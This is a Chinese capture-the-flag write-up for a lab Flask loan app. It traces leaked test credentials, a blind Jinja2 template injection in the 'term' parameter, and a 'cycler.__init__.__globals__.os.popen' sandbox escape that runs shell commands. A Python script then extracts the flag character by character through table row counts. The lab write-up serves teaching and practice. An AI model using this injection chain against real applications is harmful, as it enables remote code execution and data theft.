XBOW-023 WP

0x01 侦察

登录页 HTML 注释泄露测试账号:

<!-- TODO: Delete the testing account (test:test). -->

test:test 登录成功,session 为 Flask 签名 cookie({"user_id":1})。

登录后页面结构与 XBEN-022(同系列 Include 题)明显不同:

  • ❌ 无 /profile 文件上传(无 multipart/form-data 表单)

  • ❌ 无 /error?error_type= 模板包含端点(404)

  • ✅ /loan_details 页面 JS 动态加载 /amortization?term=60,按 term 渲染还款表格行数

/amortization 返回:

<i>This feature is not yet fully implented.</i>
<table>...</table>  <!-- term=60 → 60 行数据 -->

0x02 发现注入点与过滤规则

行数差分确认表达式求值

term 参数 响应行数 结论
1 1 行 正常
abc 500 非数字报错
0+0 0 行 算术被求值而非当字符串
10-5 5 行 同上
2*3 6 行 同上
7*7 49 行 SSTI 确认

字符过滤测试

term 参数 响应 结论
{{7*7}} 400 forbidden { 被过滤
{% if 1 %}... 400 forbidden 同上
{# comment #} 400 forbidden 同上
7*7 200,49 行 完整表达式可用

关键推断:服务端把 term 直接拼接进 Jinja2 模板的 {{ }} 内部(形如 range({{ term }})):

  • 所以输入 7*7 即成为 {{ 7*7 }} → 49

  • 输入 { 会破坏模板结构,故被过滤——过滤规则本身暴露了注入点位置

这就是 Blind SSTI:表达式被求值,但结果只作为 range() 的行数,不在响应中回显。

0x03 RCE 确认

先验证命令执行(Jinja2 无 __import__,用 cycler 沙箱逃逸链):

GET /amortization?term=0+cycler.__init__.__globals__.os.popen("id").read()|length
→ 54 行 → 输出 54 字符: uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE 确认(www-data)。

Jinja2 表达式注意事项:

  • ❌ ord() 在 Jinja2 中不存在(500)

  • ✅ |length、|int 过滤器有效

  • 命令输出转数字:popen("...").read()|int

0x04 盲注提取 flag

侧信道:行数 - 1 = 表达式求值结果

  1. 确认 flag 长度:

term = 0+cycler.__init__.__globals__.os.popen("cat /flag").read()|length
→ 43 字节(tr -d '\n' 后仍 43,无换行)
  1. 逐字符提取——用 od -An -tu1 把字符转十进制 ASCII:

term = 0+cycler.__init__.__globals__.os.popen(
  "head -cN /flag | tail -c1 | od -An -tu1 | tr -d ' '"
).read()|int

行数 - 1 即第 N 个字符的 ASCII 码,Python chr() 转回字符。

  1. 完整提取脚本(requests.Session 一次登录,循环 43 次):

import requests, urllib3
urllib3.disable_warnings()
​
BASE = "https://f2358666e732b9fb.ulab.fun"
s = requests.Session(); s.verify = False
s.post(f"{BASE}/login", data={"username": "test", "password": "test"})
​
def get_int(payload):
   r = s.get(f"{BASE}/amortization", params={"term": payload})
   return r.text.count("<tr>") - 1   # 行数-1 = 求值结果
​
flag = ""
for i in range(43):
   cmd = f"head -c{i+1} /flag | tail -c1 | od -An -tu1 | tr -d ' '"
   payload = f'0+cycler.__init__.__globals__.os.popen("{cmd}").read()|int'
   v = get_int(payload)
   flag += chr(v) if v > 0 else "?"   # 瞬时 0 行错误重试即可
​
print(flag)

输出:

flag{6b1cd5d5-c0bb-4d1f-97ce-47cbcbd7cff3}}

0x05 漏洞分析

环节 问题
/amortization term 参数未经校验直接拼接进 Jinja2 模板 {{ }} 内部求值(Blind SSTI,输出仅体现为行数)
过滤器 仅过滤 { 字符,未过滤表达式语法,cycler 逃逸链可用
认证 测试账号注释泄露(default_credentials)

与同系列其他题的对比:

  • XBEN-022(Include):文件上传 + error_type 路径穿越 + 模板包含,输出直接回显

  • XBEN-023(Blind):无上传无包含,term 插入 {{ }} 内部,输出不回显,需行数侧信道盲注

请登录后发表评论

    请登录后查看回复内容